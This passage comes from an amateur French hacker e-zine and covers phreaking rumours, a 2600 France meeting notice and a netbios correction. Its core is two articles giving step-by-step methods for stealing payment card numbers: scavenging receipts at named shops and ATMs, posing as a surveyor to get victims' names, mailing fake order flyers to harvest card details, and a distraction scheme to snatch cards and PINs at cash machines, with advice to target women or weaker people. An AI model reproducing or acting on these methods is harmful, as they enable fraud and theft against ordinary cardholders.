Fichiers systèmes, particulièrement les IO.SYS et MSDOS.SYS (qui sont lancés au démarrage du système aussi) . 

Les fichiers temporaires de recouvrement .OVL . 

Fichiers binaires .BIN. 

Fichiers pilotes .DRV. 

Le secteur de la table de partition du disque dur (lu par le BIOS à chaque initialisation) ou 

d’une disquette BO 

                                                      [Article proposé par ThOR]   

	New phreaking ??


UNE NOUVELLE TECHNIQUE DE PHREAKING ???

En relisant un ancien numéro de PGK, je tombe sur un article parlant d'une nouvelle fraude téléphonique possible...

Selon une source apparemment sûre (elle émane d'un fax d'un responsable chez ALCATEL où je ne sais plus trop quoi), il suffirait qu'une personne quelconque au bout du fils fasse

90# (neuf-zéro-dièse) et qu'elle raccroche, pour que votre ligne téléphonique soit déviée sur la sienne !!!

Intox ou réalité ??

Même dans la presse, ils en ont parlé, et FT a démenti en disant qu'elle avait fait des tests

et que cela était complétement faux, un membre de PGK a aussi essayé, et c'est bien faux, mais le fax est pourtant bien (apparement...) véridique ! La dernière rumeur dit que cette technique ne marcherait que sur certains réseaux téléphoniques.

A suivre...

                                                     [Article proposé par ThOR]

	Choper des n° CB


Un petit truc pour récupérer des numéros de CB, étant donné que la plupart des services de vente par correspondance, ils sont pas cons, et ils vérifient avant d'envoyer la marchandise que le numéro appartient à un compte valide, avec le nom qui va dessus, et tout...

Pour en récupérer, c'est pas compliqué, un peu de SE, mais ça, ça marche pas à tous les coups,

ou alors, ATTENTION ;-), y a certains magasins dans lesquels le numéro de CB apparaît intégralement, avec la date de validité bien-sûr, mais en bonus, y a le nom qui va avec !!!

Un autre truc, les supermarchés STOC !!!

Y a le numéro de CB entier, la date de validité, mais pas le nom...sauf pour les personnes ayant la carte de fidelité qui fait gagner des points, à la fin c'est marqué "A BIENTOT M. UNTEL" !

NB: Ce que je vous conseille, c'est de commander aux 3 SUISSES, faites livrer au relais, et là-bas, ils vous demanderont seulement votre nom, une signature, et vous repartez avec votre colis :o)

                                                          [Article proposé par ThOR]

Now, a moi de parler ! je vais vous expliquer d’autres techniques pour chopper des n°CB.

Vous vous souvenez que dans le zine n°1 je vous avez promis des tas de n°CB avec de vrai noms qui vont avec ?! je ne vais pas en publier car ça serai vraiment du gachi, car tout le monde va se ruer dessus et les gas a qui appartiennent les CB vont les annulées dans les quelques jours suivant la sorti du zine. Donc pour ce qui lirons mon zine 1 mois apres ça sortie, et bien l’article n’aura aucun n’intérêt. Donc je vais pas publier les n° mais je vais vous expliquer comment j’arrive a en chopper des tones !!! (
Ya 4 méthodes que j’utilise mais je vous en livrerai que 3, la derniere je la garde pour moi.

1) bon celle si consiste a choper les ticket des distributeurs. Vous aller me dire oui mais on a pas le nom et sur les ticket les n° ne sont pas en entier, attendez et lisez l’article !

les ticket des distributeurs appartenant à la BRED on les n°CB marquer en entier mais ya pas le nom. Donc ce qu’on va faire c’est qu’on va se trouver une ptite BRED dans un coin trankil (( pages jaunes). On y va le matin de bonheur et on reste planter devant le distributeur toute la journée jusqu'à ce qu’un connard jette son ticket.

Il vaut mieux etre deux pour faire ça. Donc un peu apres que la personne ai jeter son ticket, vous aller la voir et vous vous faites passer pour qq 1 qui fait un sondage sur je sais pas quoi, vous lui posez 2, 3 questions bidons et surtout vous lui demander son nom. Bien sur pendant se temps l’autre personne ramasse le ticket. Il faut attendre un peu pour interoger la victim, vous la suiver un peu puis vous passer a l’action. Cette technique marche très souvent !( le seul inconvéniant c que ça prend du temps ! 

2) pour celle si vous pouvez être tout seul ça pose pas de problèmes !(. Vous avez surement déjà reçu dans votre boite aux lettres des prospectus avec des articles en vente dessus et un coupon d’achat a découper et à renvoyer. Et bien on va faire de faux prospectus avec des prix aléchant pour que les gent achètes. Vous faites un beau ptit truc qui tape a l’œil et vous oubliez pas de faire un coupon a renvoyer en bas du prospectus. Je pense que vous avez compris l’arnaque mais je continue quand meme. Donc vous trouver une boites aux lettres (maison abandonnée ou maison en vente) et vous mettez cette adresse sur le coupon. Bien entendu sur le coupons d’achat vous demandez le nom et le n° de CB avec la date d’expiration etc… voilà il vous reste plus qu’a distribuer votre faux prospectus et à aller récolter les coupons dans votre fausse boite aux lettre, et voilà en moins de 2 semaines vous pouvez récolter des dizaines de n° avec des noms !(. l’incovéniant c’est que ça nique du papier et de l’encre.

3) Cette article s’adresse aux gas qui ont des couilles, car c’est un peu chaud ! pour cette technique il faux etre au moins 2. Donc vous allez sur un distributeur et vous vous placez derière une personne, l’autre se place sur le cote gauche du distributeur. Une foi que la personne a inserer sa carte, regarder le code qu’elle tape et retenez le (si vous y arrivez pas, c pas grave). Juste apres qu’elle est fini de taper sont code vous l’interpeler en lui disant un gros mito comme quoi ce distributeur ne marche pas etc… le but est de faire retourner la personne vers vous. Une fois qu’elle c’est retourner, votre complice apui sur la touche annule et récupère la carte. La cher personne qui vient de se faire niquer va croire que sa carte c’est fais avaler puisque vous lui avez dis que ce distributeur ne marchait pas. Maitenant vous avez le nom, n° et date d’expiration. Avec de la chance vous pourrez cramez le code et la vous pouvez allez retirer de la tune dans les distributeurs !( cool non ? bon d’accord c’est chaud car souvent la personne ne s’éloigne pas assez du distributeur et pour récupérer la carte inconito c dur ! bien souvent on se fait cramer a ce moment la mais c pas grave il suffit de courrir vite et de prendre la carte avant bien sur ! faire toute l’OP sans aucun bleme c pas évident mais c possible. Enfin vaut mieux choisir des personnes féminine ou qui on pas un physique d’athlete, ainsi ils ont aucune chance de vous ratraper !( on s’en tire toujours (sauf si vous avez une jambe dans le platre !). donc voilà pour cette technique qui est pas facile je vous l’avoue mais avec la quel vous pouvez aller directement vider les distributeurs !(. l’incovéniant : « c’est fatiguant de courrir »

Voilà c fini ! j’espere que ça vous a plus ?!

By The Joker

	Meeting 2600


Bon je pense que vous êtes au courant de l’existence du 2600 français ?!

Je vais vous en parler un peu, déjà voici une présentation faites par eux : 

(l’originale se trouve à www.2600.fr.st )

L'organisation 2600 France est un regroupement non officiel underground de hackers, cybernautes ou informaticiens passionnés par la sécurité des systèmes informatiques. Le but de l'organisation est d'une part de partager des connaissances dans ce domaine au sein du meeting public et ouvert à toutes personnes intéressées qui a lieu le 1er vendredi de chaque mois sur Paris comme veut la coutume des meetings 2600 dans le monde entier. D'autre part, de rechercher et de solutionner des failles de sécurité, de créer et de tester, des logiciels informatiques au sein du 2600 labs. La philosophie de hacker est notre guide, nous nous interdisons de détruire, de modifier des données, de mettre en danger la vie d'autrui, nous luttons pour la liberté d'expression et la liberté de la vie privée. L'apocalypse du futur sera cybercataclysmique. Le progres des technologies de l'informations doit être maitrisé. L'organisation agit pour le bien de la communauté planétaire en faisant prendre consience des dangers que comportent les réseaux informatiques.

Voilà pour la petite présentation. Les rendez vous on lieu tous les premiers vendredi du mois à 18h devant le cinéma Gaumont, place d’Italie, Paris 13e . 

Voilà, pour les infos. Allez voir leur page : www.2600.fr.st vous trouverez des infos supplémentaire.

By the Joker

	Rectification du n°2


Dans le zine n°2 je vous avez proposez une méthode simplifié de netbios, sans créer de fichier lmhost. Un pot ma expliquer pourquoi. En effet ça marche mais que pour les machines tournant sous NT, pour les machines tournant sous win 95/98 il faut créer le fichier lmhost.

Voilà une précision que j’avais oublier de faire car je ne le savais pas !

Enfin maintenant c’est corrigé !

	Fin


Bon en voilà fini pour ce zine. J’espère qu’il vous a plus ?! je vous est parlé de NFS dans ce numéro, vous vous doutez bien que je vous parlerai de NIS dans le prochain n°. Dans le numéro 4. Il y aura de nombreux autres articles, mais je vais pas tout vous dire, sinon y aura plus de surprise. Si vous désirez écrire pour notre zine, n’hésiter pas a nous envoyez vos articles (mail). Dites moi vos commentaires, les erreurs que nous avons pu faire etc…

Voilà j’espere que vous vous êtes bien reposer durant ces vacances pour attaquer le boulot !

Et oui on vas retrouver les joies du bahu ! mon super prof d’informatique Mr Cambon va m’apprendre comment copier un fichier sous DOS, c super non ? (
Bon je vous promets que le n°4 vas pas trop tarder à sortir. Aller @+

The joker, Goldfinger, X-Unix, Thor, JB34, Miss Mouse, Hansin, B@boune, Rockness, Nikita et les autres...

Rejoingner nous !

FIN

